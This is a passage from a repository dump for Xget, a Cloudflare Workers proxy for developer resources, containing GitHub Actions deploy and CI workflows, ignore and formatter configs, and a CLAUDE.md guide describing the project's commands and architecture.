./coverage/lcov.info\n          flags: unit\n          name: unit-coverage\n          disable_search: true\n          fail_ci_if_error: true\n          verbose: true\n        env:\n          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}\n\n  typecheck:\n    name: Type Check\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install dependencies\n        run: npm ci\n\n      - name: Run type check\n        run: npm run type-check\n"
  },
  {
    "path": ".github/workflows/commitlint.yml",
    "content": "name: Commit Lint\n\non:\n  push:\n    branches:\n      - main\n  pull_request:\n    branches:\n      - main\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\njobs:\n  commitlint:\n    name: Validate Commit Messages\n    runs-on: ubuntu-latest\n    if: ${{ github.actor != 'dependabot[bot]' }}\n    timeout-minutes: 10\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n        with:\n          fetch-depth: 0\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install dependencies\n        run: npm ci\n\n      - name: Lint commit messages\n        shell: bash\n        run: |\n          if [[ \"${{ github.event_name }}\" == \"pull_request\" ]]; then\n            FROM=\"${{ github.event.pull_request.base.sha }}\"\n            TO=\"${{ github.event.pull_request.head.sha }}\"\n          else\n            FROM=\"${{ github.event.before }}\"\n            TO=\"${{ github.sha }}\"\n          fi\n\n          if [[ \"$FROM\" == \"0000000000000000000000000000000000000000\" ]]; then\n            npx commitlint --last --verbose\n          else\n            npx commitlint --from \"$FROM\" --to \"$TO\" --verbose\n          fi\n"
  },
  {
    "path": ".github/workflows/dependabot-auto-merge.yml",
    "content": "name: Dependabot Auto Merge\n\non:\n  workflow_run:\n    workflows:\n      - CI\n      - Commit Lint\n    types:\n      - completed\n\nconcurrency:\n  group: dependabot-auto-merge-${{ github.event.workflow_run.head_branch }}\n  cancel-in-progress: true\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  merge:\n    name: Auto-merge Dependabot PRs\n    if: ${{ github.event.workflow_run.event == 'pull_request' }}\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Find matching Dependabot PR\n        id: pr\n        uses: actions/github-script@v8\n        with:\n          script: |\n            const branch = context.payload.workflow_run.head_branch;\n            const { owner, repo } = context.repo;\n\n            const { data: pulls } = await github.rest.pulls.list({\n              owner,\n              repo,\n              state: \"open\",\n              head: `${owner}:${branch}`,\n              per_page: 10,\n            });\n\n            const pr = pulls.find((item) => item.user?.login === \"dependabot[bot]\");\n\n            if (!pr) {\n              core.info(`No open Dependabot PR found for branch ${branch}.`);\n              core.setOutput(\"should_merge\", \"false\");\n              return;\n            }\n\n            core.setOutput(\"should_merge\", \"true\");\n            core.setOutput(\"number\", String(pr.number));\n\n      - name: Merge PR when checks pass\n        if: steps.pr.outputs.should_merge == 'true'\n        uses: actions/github-script@v8\n        with:\n          script: |\n            const owner = context.repo.owner;\n            const repo = context.repo.repo;\n            const pull_number = Number(\"${{ steps.pr.outputs.number }}\");\n\n            const isSuccessful = (status) =>\n              status === \"SUCCESS\" ||\n              status === \"SKIPPED\" ||\n              status === \"NEUTRAL\";\n\n            const { data: pr } = await github.rest.pulls.get({\n              owner,\n              repo,\n              pull_number,\n            });\n\n            if (pr.user?.login !== \"dependabot[bot]\") {\n              core.info(`PR #${pull_number} is no longer a Dependabot PR.`);\n              return;\n            }\n\n            if (pr.draft) {\n              core.info(`PR #${pull_number} is still a draft.`);\n              return;\n            }\n\n            if (pr.mergeable === false) {\n              core.info(`PR #${pull_number} has merge conflicts.`);\n              return;\n            }\n\n            const { data: checks } = await github.rest.checks.listForRef({\n              owner,\n              repo,\n              ref: pr.head.sha,\n            });\n\n            const requiredChecks = [\"Lint\", \"Test\", \"Type Check\"];\n            const checkMap = new Map(checks.check_runs.map((run) => [run.name, run]));\n            const missing = requiredChecks.filter((name) => !checkMap.has(name));\n            if (missing.length > 0) {\n              core.info(`PR #${pull_number} is missing checks: ${missing.join(\", \")}.`);\n              return;\n            }\n\n            const failed = requiredChecks.filter((name) => {\n              const run = checkMap.get(name);\n              return run.status !== \"completed\" || !isSuccessful(String(run.conclusion).toUpperCase());\n            });\n\n            if (failed.length > 0) {\n              core.info(`PR #${pull_number} still has pending or failing checks: ${failed.join(\", \")}.`);\n              return;\n            }\n\n            await github.rest.pulls.merge({\n              owner,\n              repo,\n              pull_number,\n              merge_method: \"merge\",\n            });\n\n            await github.rest.git.deleteRef({\n              owner,\n              repo,\n              ref: `heads/${pr.head.ref}`,\n            });\n\n            core.info(`Merged Dependabot PR #${pull_number} and deleted ${pr.head.ref}.`);\n"
  },
  {
    "path": ".github/workflows/functions-ntl.yml",
    "content": "name: Deploy to Netlify\n\non:\n  workflow_run:\n    workflows: [\"Sync to Pages and Functions\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: read\n      deployments: write\n    if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}\n\n    steps:\n      - name: Checkout functions branch\n        uses: actions/checkout@v6\n        with:\n          ref: functions\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install Netlify CLI\n        run: npm install --global netlify-cli@latest\n\n      - name: Deploy to Netlify\n        run: netlify deploy --prod --dir=. --auth=${{ secrets.NETLIFY_AUTH_TOKEN }} --site=${{ secrets.NETLIFY_SITE_ID }}\n"
  },
  {
    "path": ".github/workflows/functions-vc.yml",
    "content": "name: Deploy to Vercel\n\non:\n  workflow_run:\n    workflows: [\"Sync to Pages and Functions\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: read\n      deployments: write\n    if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}\n    env:\n      VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}\n      VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}\n\n    steps:\n      - name: Checkout functions branch\n        uses: actions/checkout@v6\n        with:\n          ref: functions\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install Vercel CLI\n        run: npm install --global vercel@latest\n\n      - name: Pull Vercel Environment Information\n        run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }}\n\n      - name: Build Project Artifacts\n        run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}\n\n      - name: Deploy Project Artifacts to Vercel\n        run: vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/image.yml",
    "content": "name: Build and Push Image\n\non:\n  workflow_run:\n    workflows: [\"CI\"]\n    types:\n      - completed\n    branches:\n      - main\n  push:\n    tags:\n      - \"v*\"\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: true\n\nenv:\n  REGISTRY: ghcr.io\n  IMAGE_NAME: ${{ github.repository }}\n\njobs:\n  build-and-push:\n    runs-on: ubuntu-latest\n    timeout-minutes: 30\n    permissions:\n      contents: read\n      packages: write\n      id-token: write\n      attestations: write\n    if: >-\n      ${{\n        github.event_name == 'workflow_dispatch' ||\n        startsWith(github.ref, 'refs/tags/v') ||\n        (\n          github.event_name == 'workflow_run' &&\n          github.event.workflow_run.conclusion == 'success' &&\n          github.event.workflow_run.event == 'push' &&\n          github.event.workflow_run.head_branch == 'main' &&\n          github.event.workflow_run.head_repository.full_name == github.repository\n        )\n      }}\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@v6\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v4\n\n      - name: Log in to GitHub Container Registry\n        uses: docker/login-action@v4\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Extract metadata (tags, labels) for Docker\n        id: meta\n        uses: docker/metadata-action@v6\n        with:\n          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}\n          tags: |\n            type=ref,event=branch\n            type=ref,event=pr\n            type=semver,pattern={{version}}\n            type=semver,pattern={{major}}.{{minor}}\n            type=semver,pattern={{major}}\n            type=sha\n            type=raw,value=latest,enable={{is_default_branch}}\n\n      - name: Build and push Docker image\n        id: build-and-push\n        uses: docker/build-push-action@v7\n        with:\n          context: .\n          platforms: linux/amd64,linux/arm64\n          push: ${{ github.event_name != 'pull_request' }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n\n      - name: Generate artifact attestation\n        if: github.event_name != 'pull_request'\n        uses: actions/attest-build-provenance@v4\n        with:\n          subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME}}\n          subject-digest: ${{ steps.build-and-push.outputs.digest }}\n          push-to-registry: true\n"
  },
  {
    "path": ".github/workflows/pages-cf.yml",
    "content": "name: Deploy to Cloudflare Pages\n\non:\n  workflow_run:\n    workflows: [\"Sync to Pages and Functions\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\nenv:\n  WRANGLER_VERSION: \"4.76.0\"\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: read\n      deployments: write\n    if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}\n\n    steps:\n      - name: Checkout pages branch\n        uses: actions/checkout@v6\n        with:\n          ref: pages\n\n      - name: Ensure Cloudflare Pages project exists\n        env:\n          CF_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}\n          CF_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}\n          CF_PAGES_PROJECT: xget\n          CF_PRODUCTION_BRANCH: main\n        shell: bash\n        run: |\n          set -euo pipefail\n\n          api_base=\"https://api.cloudflare.com/client/v4/accounts/${CF_ACCOUNT_ID}/pages/projects\"\n          auth_header=\"Authorization: Bearer ${CF_API_TOKEN}\"\n\n          echo \"Checking Pages project: ${CF_PAGES_PROJECT}\"\n          if curl -fsS -H \"${auth_header}\" \"${api_base}/${CF_PAGES_PROJECT}\" >/dev/null; then\n            echo \"Pages project exists.\"\n            exit 0\n          fi\n\n          echo \"Pages project not found. Creating...\"\n          create_payload=\"$(printf '{\"name\":\"%s\",\"production_branch\":\"%s\"}' \"${CF_PAGES_PROJECT}\" \"${CF_PRODUCTION_BRANCH}\")\"\n          curl -fsS -X POST -H \"${auth_header}\" -H \"Content-Type: application/json\" \\\n            --data \"${create_payload}\" \\\n            \"${api_base}\" >/dev/null\n\n          echo \"Pages project created.\"\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n\n      - name: Install Wrangler CLI\n        run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}\n\n      - name: Deploy to Cloudflare Pages\n        env:\n          CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}\n          CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}\n        run: wrangler pages deploy . --project-name=xget --branch=${{ github.ref_name }}\n"
  },
  {
    "path": ".github/workflows/pages-eo.yml",
    "content": "name: Deploy to EdgeOne Pages\n\non:\n  workflow_run:\n    workflows: [\"Sync to Pages and Functions\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: read\n      deployments: write\n    if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && (github.event.workflow_run.event == 'push' || github.event.workflow_run.event == 'workflow_run' || github.event.workflow_run.event == 'workflow_dispatch') && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}\n\n    steps:\n      - name: Checkout pages branch\n        uses: actions/checkout@v6\n        with:\n          ref: pages\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"22.11.0\"\n\n      - name: Deploy to EdgeOne Pages\n        run: npx edgeone pages deploy . -n xget6 -t ${{ secrets.EDGEONE_API_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/sync.yml",
    "content": "name: Sync to Pages and Functions\n\non:\n  workflow_run:\n    workflows: [\"CI\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\njobs:\n  convert-and-sync-pages:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: write\n    if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}\n\n    steps:\n      - name: Checkout main branch\n        uses: actions/checkout@v6\n        with:\n          ref: main\n          fetch-depth: 0\n\n      - name: Configure Git\n        run: |\n          git config user.name \"github-actions[bot]\"\n          git config user.email \"github-actions[bot]@users.noreply.github.com\"\n\n      - name: Setup adapter files\n        run: |\n          mkdir -p /tmp/pages-conversion\n          cp -r adapters/pages/* /tmp/pages-conversion/\n\n      - name: Copy source code files\n        run: |\n          cp -r src /tmp/pages-conversion/\n          cp package.json /tmp/pages-conversion/\n          cp package-lock.json /tmp/pages-conversion/ 2>/dev/null || true\n          cp LICENSE /tmp/pages-conversion/\n\n      - name: Rewrite Pages adapter imports for converted layout\n        run: |\n          cd /tmp/pages-conversion\n          python3 - <<'PY'\n          from pathlib import Path\n\n          path = Path(\"functions/[[path]].js\")\n          old = \"../../../src/app/handle-request.js\"\n          new = \"../src/app/handle-request.js\"\n\n          text = path.read_text(encoding=\"utf-8\")\n          if old not in text:\n              raise SystemExit(f\"expected import path not found in {path}\")\n          path.write_text(text.replace(old, new), encoding=\"utf-8\")\n          PY\n\n      - name: Update package.json for Pages\n        run: |\n          cd /tmp/pages-conversion\n          # Update deployment commands to use Pages\n          cat package.json | \\\n          sed 's/\"deploy\": \"wrangler deploy\"/\"deploy\": \"wrangler pages deploy .\"/' | \\\n          sed 's/\"start\": \"wrangler dev\"/\"start\": \"wrangler pages dev .\"/' \\\n          > package.json.tmp && mv package.json.tmp package.json\n\n      - name: Initialize pages branch\n        run: |\n          cd /tmp/pages-conversion\n          git init\n          git config user.name \"github-actions[bot]\"\n          git config user.email \"github-actions[bot]@users.noreply.github.com\"\n          git checkout -b pages\n          git add .\n          git commit -m \"Convert Workers to Pages\n\n          Auto-converted from main branch commit ${{ github.sha }}\n\n          Runtime files only (documentation, tests, and dev configs excluded).\"\n\n      - name: Force push to pages branch\n        run: |\n          cd /tmp/pages-conversion\n          git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git\n          git push -f origin pages\n\n      - name: Clean up\n        if: always()\n        run: |\n          rm -rf /tmp/pages-conversion\n\n  convert-and-sync-functions:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: write\n    if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}\n\n    steps:\n      - name: Checkout main branch\n        uses: actions/checkout@v6\n        with:\n          ref: main\n          fetch-depth: 0\n\n      - name: Configure Git\n        run: |\n          git config user.name \"github-actions[bot]\"\n          git config user.email \"github-actions[bot]@users.noreply.github.com\"\n\n      - name: Setup adapter files\n        run: |\n          mkdir -p /tmp/functions-conversion\n          # Copy all content from adapters/functions excluding package.json first\n          cp -r adapters/functions/* /tmp/functions-conversion/\n          # Copy the specific package.json for functions (overwriting if needed, but we do it later anyway)\n\n      - name: Copy source code files\n        run: |\n          # Copy only runtime-required files\n          cp -r src /tmp/functions-conversion/\n          # Note: We do NOT copy the root package.json here as we use the one from adapters/functions\n          cp package-lock.json /tmp/functions-conversion/ 2>/dev/null || true\n          cp LICENSE /tmp/functions-conversion/\n\n      - name: Rewrite Functions adapter imports for converted layout\n        run: |\n          cd /tmp/functions-conversion\n          python3 - <<'PY'\n          from pathlib import Path\n\n          replacements = {\n              Path(\"api/index.js\"): (\n                  \"../../../src/app/handle-request.js\",\n                  \"../src/app/handle-request.js\",\n              ),\n              Path(\"deno.js\"): (\n                  \"../../src/app/handle-request.js\",\n                  \"./src/app/handle-request.js\",\n              ),\n          }\n\n          for path, (old, new) in replacements.items():\n              text = path.read_text(encoding=\"utf-8\")\n              if old not in text:\n                  raise SystemExit(f\"expected import path not found in {path}\")\n              path.write_text(text.replace(old, new), encoding=\"utf-8\")\n          PY\n\n      - name: Initialize functions branch\n        run: |\n          cd /tmp/functions-conversion\n          git init\n          git config user.name \"github-actions[bot]\"\n          git config user.email \"github-actions[bot]@users.noreply.github.com\"\n          git checkout -b functions\n          git add .\n          git commit -m \"Convert Workers to Functions\n\n          Auto-converted from main branch commit ${{ github.sha }}\n\n          Runtime files only (documentation, tests, and dev configs excluded).\"\n\n      - name: Force push to functions branch\n        run: |\n          cd /tmp/functions-conversion\n          git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git\n          git push -f origin functions\n\n      - name: Clean up\n        if: always()\n        run: |\n          rm -rf /tmp/functions-conversion\n"
  },
  {
    "path": ".github/workflows/workers.yml",
    "content": "name: Deploy to Cloudflare Workers\n\non:\n  workflow_run:\n    workflows: [\"CI\"]\n    types:\n      - completed\n    branches:\n      - main\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: false\n\nenv:\n  WRANGLER_VERSION: \"4.76.0\"\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      contents: read\n      deployments: write\n    if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}\n    steps:\n      - name: Checkout main branch\n        uses: actions/checkout@v6\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n\n      - name: Install Wrangler CLI\n        run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}\n\n      - name: Deploy to Cloudflare Workers\n        env:\n          CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}\n          CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}\n        run: wrangler deploy\n"
  },
  {
    "path": ".gitignore",
    "content": "# Logs\n\nlogs\n_.log\nnpm-debug.log_\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n.pnpm-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\n\nreport.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json\n\n# Runtime data\n\npids\n_.pid\n_.seed\n\\*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\n\nlib-cov\n\n# Coverage directory used by tools like istanbul\n\ncoverage\n\\*.lcov\n\n# nyc test coverage\n\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n\n.grunt\n\n# Bower dependency directory (https://bower.io/)\n\nbower_components\n\n# node-waf configuration\n\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\n\nbuild/Release\n\n# Dependency directories\n\nnode_modules/\njspm_packages/\n\n# Snowpack dependency directory (https://snowpack.dev/)\n\nweb_modules/\n\n# TypeScript cache\n\n\\*.tsbuildinfo\n\n# Optional npm cache directory\n\n.npm\n\n# Optional eslint cache\n\n.eslintcache\n\n# Optional stylelint cache\n\n.stylelintcache\n\n# Microbundle cache\n\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n\n.node_repl_history\n\n# Output of 'npm pack'\n\n\\*.tgz\n\n# Yarn Integrity file\n\n.yarn-integrity\n\n# dotenv environment variable files\n\n.env\n.env.development.local\n.env.test.local\n.env.production.local\n.env.local\n\n# parcel-bundler cache (https://parceljs.org/)\n\n.cache\n.parcel-cache\n\n# Next.js build output\n\n.next\nout\n\n# Nuxt.js build / generate output\n\n.nuxt\ndist\n\n# Gatsby files\n\n.cache/\n\n# Comment in the public line in if your project uses Gatsby and not Next.js\n\n# https://nextjs.org/blog/next-9-1#public-directory-support\n\n# public\n\n# vuepress build output\n\n.vuepress/dist\n\n# vuepress v2.x temp and cache directory\n\n.temp\n.cache\n\n# Docusaurus cache and generated files\n\n.docusaurus\n\n# Serverless directories\n\n.serverless/\n\n# FuseBox cache\n\n.fusebox/\n\n# DynamoDB Local files\n\n.dynamodb/\n\n# TernJS port file\n\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n\n.vscode-test\n\n# yarn v2\n\n.yarn/cache\n.yarn/unplugged\n.yarn/build-state.yml\n.yarn/install-state.gz\n.pnp.\\*\n\n# wrangler project\n\n.dev.vars\n.wrangler/\n"
  },
  {
    "path": ".prettierignore",
    "content": "# Dependencies\nnode_modules/\n.pnp\n.pnp.js\n\n# Production builds\ndist/\nbuild/\n\n# Environment files\n.env\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\n# Logs\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Coverage directory used by tools like istanbul\ncoverage/\n*.lcov\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Storybook build outputs\n.out\n.storybook-out\n\n# Temporary folders\ntmp/\ntemp/\n\n# Editor directories and files\n.vscode/\n.idea/\n*.swp\n*.swo\n*~\n\n# OS generated files\n.DS_Store\n.DS_Store?\n._*\n.Spotlight-V100\n.Trashes\nehthumbs.db\nThumbs.db\n\n# Wrangler\n.wrangler/\n\n# Git\n.git/\n\n# Lock files (optional - uncomment if you want to format them)\n# package-lock.json\n# yarn.lock\n# pnpm-lock.yaml\n"
  },
  {
    "path": ".prettierrc.json",
    "content": "{\n  \"arrowParens\": \"avoid\",\n  \"bracketSameLine\": false,\n  \"bracketSpacing\": true,\n  \"embeddedLanguageFormatting\": \"auto\",\n  \"endOfLine\": \"lf\",\n  \"insertPragma\": false,\n  \"jsxSingleQuote\": true,\n  \"overrides\": [\n    {\n      \"files\": \"*.md\",\n      \"options\": {\n        \"printWidth\": 80,\n        \"proseWrap\": \"always\"\n      }\n    },\n    {\n      \"files\": \"*.json\",\n      \"options\": {\n        \"printWidth\": 120\n      }\n    },\n    {\n      \"files\": \"*.yml\",\n      \"options\": {\n        \"singleQuote\": false,\n        \"tabWidth\": 2\n      }\n    }\n  ],\n  \"printWidth\": 100,\n  \"proseWrap\": \"preserve\",\n  \"quoteProps\": \"as-needed\",\n  \"requirePragma\": false,\n  \"semi\": true,\n  \"singleQuote\": true,\n  \"tabWidth\": 2,\n  \"trailingComma\": \"none\",\n  \"useTabs\": false\n}\n"
  },
  {
    "path": "AGENTS.md",
    "content": "CLAUDE.md\n"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with\ncode in this repository.\n\n## Project Overview\n\nXget is a high-performance, Cloudflare Workers-based acceleration engine for\ndeveloper resources. It provides unified acceleration for code repositories\n(GitHub, GitLab, etc.), package registries (npm, PyPI, Maven, etc.), container\nregistries (Docker Hub, GHCR, etc.), and AI inference APIs (OpenAI, Anthropic,\netc.).\n\nThe project operates as a reverse proxy that transforms incoming requests to\nmatch various platform APIs while adding security headers, caching, retry logic,\nand performance monitoring.\n\n## Development Commands\n\n### Core Commands\n\n```bash\n# Start development server (Cloudflare Workers local environment)\nnpm run dev              # Runs on http://localhost:8787\n\n# Deploy to Cloudflare Workers production\nnpm run deploy\n\n# Build and run tests\nnpm run test             # Run tests in watch mode\nnpm run test:run         # Run tests once\nnpm run test:coverage    # Generate coverage report\nnpm run test:ui          # Open Vitest UI\n\n# Code quality\nnpm run lint             # Check code quality\nnpm run lint:fix         # Fix linting issues\nnpm run format           # Format code with Prettier\nnpm run format:check     # Check formatting without changes\nnpm run type-check       # TypeScript type checking (no emit)\nnpm run commitlint       # Validate the latest commit message\n```\n\n## Commit Messages\n\n- Use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) for\n  every commit\n- Preferred format: `type(scope): description`\n- Common types: `feat`, `fix`, `docs`, `refactor`, `perf`, `test`, `chore`\n- The repository installs a `commit-msg` hook via `npm install`; do not bypass\n  it unless explicitly required\n\n## Pre-Commit Requirements\n\n- Before every commit, run the local CI-equivalent checks from\n  `.github/workflows/ci.yml`\n- Required commands: `npm run lint`, `npm run format:check`, `npm run test:run`,\n  and `npm run type-check`\n- If any required check fails, do not commit until the failure is resolved\n- Apply this rule to every commit, including documentation-only changes, unless\n  the user explicitly asks for a different workflow\n\n### Testing Workflow\n\n- Tests use Vitest with `@cloudflare/vitest-pool-workers` for Workers-specific\n  testing\n- Run `npm run test:run` before committing to ensure all tests pass\n- Coverage reports are generated in `coverage/` directory\n\n## Architecture\n\n### Request Flow\n\n1. **Entry Point**: `src/index.js` - Exports default Worker with `fetch()`\n   handler\n2. **Validation**: `src/utils/validation.js` - Validates HTTP methods, path\n   length, detects protocol types\n3. **Platform Detection**: URL path is parsed to identify platform (e.g., `/gh/`\n   → GitHub)\n4. **Path Transformation**:\n   `src/routing/platform-transformers.js#transformPath()` converts request paths\n   to upstream URLs\n5. **Protocol Handling**: Different handlers for Git, Docker, AI inference\n   requests\n6. **Upstream Fetch**: Request forwarded with appropriate headers and retry\n   logic\n7. **Response Processing**: URL rewriting for certain platforms (npm, PyPI),\n   cache storage\n8. **Security Headers**: Added via `src/utils/security.js` before returning to\n   client\n\n### Key Components\n\n#### Configuration (`src/config/`)\n\n- **`index.js`**: Runtime configuration with environment variable overrides\n  - `TIMEOUT_SECONDS`: Request timeout (default: 30s)\n  - `MAX_RETRIES`: Retry attempts (default: 3)\n  - `CACHE_DURATION`: Cache TTL (default: 1800s = 30 minutes)\n  - `SECURITY.ALLOWED_METHODS`: HTTP methods (default: GET, HEAD)\n\n- **`platform-catalog.js`**: Platform base URL definitions\n  - `PLATFORM_CATALOG`: Object mapping platform keys to base URLs\n\n- **`routing/platform-index.js`**: Pre-sorted keys for efficient matching\n  - `SORTED_PLATFORMS`: Longest-prefix-first platform matching order\n\n- **`routing/platform-transformers.js`**: Platform-specific path rewriting\n  - `transformPath()`: Converts request paths to platform-specific URLs\n  - Special handling for crates.io (adds `/api/v1/crates` prefix) and Jenkins\n    (adds `/current/` prefix)\n\n#### Protocol Handlers (`src/protocols/`)\n\n- **`git.js`**: Git protocol detection and header configuration\n  - Detects Git operations via User-Agent, endpoints (`/info/refs`,\n    `/git-upload-pack`)\n  - Handles Git LFS via `Accept: application/vnd.git-lfs+json`\n\n- **`docker.js`**: Container registry protocol (OCI/Docker)\n  - Parses WWW-Authenticate headers for token authentication\n  - Handles Docker registry v2 API authentication flow\n  - Special redirect handling to prevent leaking auth tokens to blob storage\n\n- **`ai.js`**: AI inference API detection and header forwarding\n  - Detects requests to `/ip/*` platforms\n  - Preserves all headers for AI API compatibility\n\n#### Utilities (`src/utils/`)\n\n- **`validation.js`**: Request validation logic\n  - `isDockerRequest()`: Detects Docker/OCI operations\n  - `validateRequest()`: Enforces security policies\n\n- **`security.js`**: Security headers and error responses\n  - Adds HSTS, X-Frame-Options, CSP, X-XSS-Protection\n  - `createErrorResponse()`: Generates standardized error responses\n\n- **`performance.js`**: Performance monitoring\n  - `PerformanceMonitor`: Tracks request timing\n  - Adds `X-Performance-Metrics` header to responses\n\n### Caching Strategy\n\n- Uses Cloudflare Cache API for GET requests (200 OK only)\n- Cache TTL controlled by `CACHE_DURATION` config\n- Skips cache for: Git operations, Docker operations, AI inference requests\n- Range requests: First checks for range-specific cache, falls back to full\n  content cache\n\n### Special Platform Handling\n\n#### npm\n\n- Rewrites `https://registry.npmjs.org/` URLs in JSON responses to point to Xget\n  instance\n\n#### PyPI\n\n- Rewrites `https://files.pythonhosted.org` URLs in HTML responses to point to\n  Xget instance\n- 